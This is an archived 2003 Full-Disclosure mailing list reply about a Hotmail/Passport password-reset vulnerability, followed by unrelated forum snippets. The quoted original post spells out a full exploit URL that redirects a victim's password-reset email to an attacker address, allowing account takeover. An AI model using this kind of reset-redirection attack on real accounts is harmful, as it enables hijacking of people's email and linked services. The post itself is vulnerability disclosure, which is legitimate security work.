Re: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability

From: Michael J McCafferty (mike_at_m5computersecurity.com)
Date: 05/08/03

  • Next message: Anthony Aykut: "[Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability" 
    To: mfrd@attitudex.com, full-disclosure@lists.netsys.com
Date: Thu, 08 May 2003 00:52:32 -0700

    Well, there ya go it's hit the mainstream press....
    http://news.com.com/2100-1002_3-1000429.html?tag=lh

    The story mentions that MS has turned off all password reset functionality
    by now.

    At 07:50 PM 5/7/2003 -0700, Muhammad Faisal Rauf Danka wrote:
    >Hotmail & Passport (.NET Accounts) Vulnerability
    >
    >There is a very serious and stupid vulnerability or badcoding in Hotmail /
    >Passport’s (.NET Accounts)
    >
    >I tried sending emails several times to Hotmail / Passport contact
    >addresses, but always met with the NLP bots.
    >
    >I guess I don’t need to go in details of how cruical and important
    >Hotmail / Passport’s .NET Account passport is to anyone.
    >
    >You name it and they have it, E-Commerce, Credit Card processing, Personal
    >Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.
    >
    >It is so simple that it is funny.
    >
    >All you got to do is hit the following in your browser:
    >
    >https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1
    >
    >And you’ll get an email on attacker@attacker.com asking you to click on
    >a url something like this:
    >
    >http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033
    >
    > >From that url, you can reset the password and I don’t think I need to
    > say anything more about it.
    >
    >Vulnerability / Flaw discovered : 12th April 2003
    >Vendor / Owner notified : Yes (as far as emailing them more
    >than 10 times is concerned)
    >
    >
    >Regards
    >--------
    >Muhammad Faisal Rauf Danka
    >
    >_____________________________________________________________
    >---------------------------
    >[ATTITUDEX.COM]
    >http://www.attitudex.com/
    >---------------------------
    >
    >_____________________________________________________________
    >Select your own custom email address for FREE! Get you@yourchoice.com w/No
    >Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
    >_______________________________________________
    >Full-Disclosure - We believe in it.
    >Charter: http://lists.netsys.com/full-disclosure-charter.html

    **************************************************
    Michael J. McCafferty
    Principal, Security Engineer
    M5 Computer Security
    858-576-7325 Voice
    http://www.m5computersecurity.com
    **************************************************
    --- "If you build it, they will hack !" ---

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Anthony Aykut: "[Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability"

    Relevant Pages

    • You do not have appropriate permission to peform this operation
      ... Got everything set up and do a test and I send emails and receive them ... I hit the SEND/RECEIVE button in th etool bar... ... Since then I have reloaded Outlook 2003 several times and changed the ... I have loaded the same software on a new laptop. ...
      (microsoft.public.outlook.general)
    • You do not have permission to perform this operation huh?
      ... Got everything set up and do a test and I send emails and receive them ... I hit the SEND/RECEIVE button in th etool bar... ... Since then I have reloaded Outlook 2003 several times and changed the ... I have loaded the same software on a new laptop. ...
      (microsoft.public.outlook.general)
    • Re: Storing emails outside of OE
      ... I just hit "File/Save As" for this post, ... Its a quick and simple way to save important emails so one ... for archiving and import just those folders. ... MS-MVP Outlook Express ...
      (microsoft.public.windows.inetexplorer.ie6_outlookexpress)
    • Re: Why does it sometimes mark a received emails text with ">"for my reply and other times not?
      ... >> of HTML format. ... >>> I'm running Entourage v.X to access an Exchange server. ... For some emails, it doesn't ... >>> difference and how I can force it to do it every time I hit reply? ...
      (microsoft.public.mac.office.entourage)
    • Re: [Full-Disclosure] Multiple Vulnerabilities found in Microsoft .Net Passport Services
      ... apparently closed down within an hour once it hit full-disclosure. ... that's after the guys at Microsoft had been given 3 weeks - and it's been ... It hit the mainstream no more than 5 hours later (and the problem functions ... > The story mentions that MS has turned off all password reset functionality ...
      (Full-Disclosure)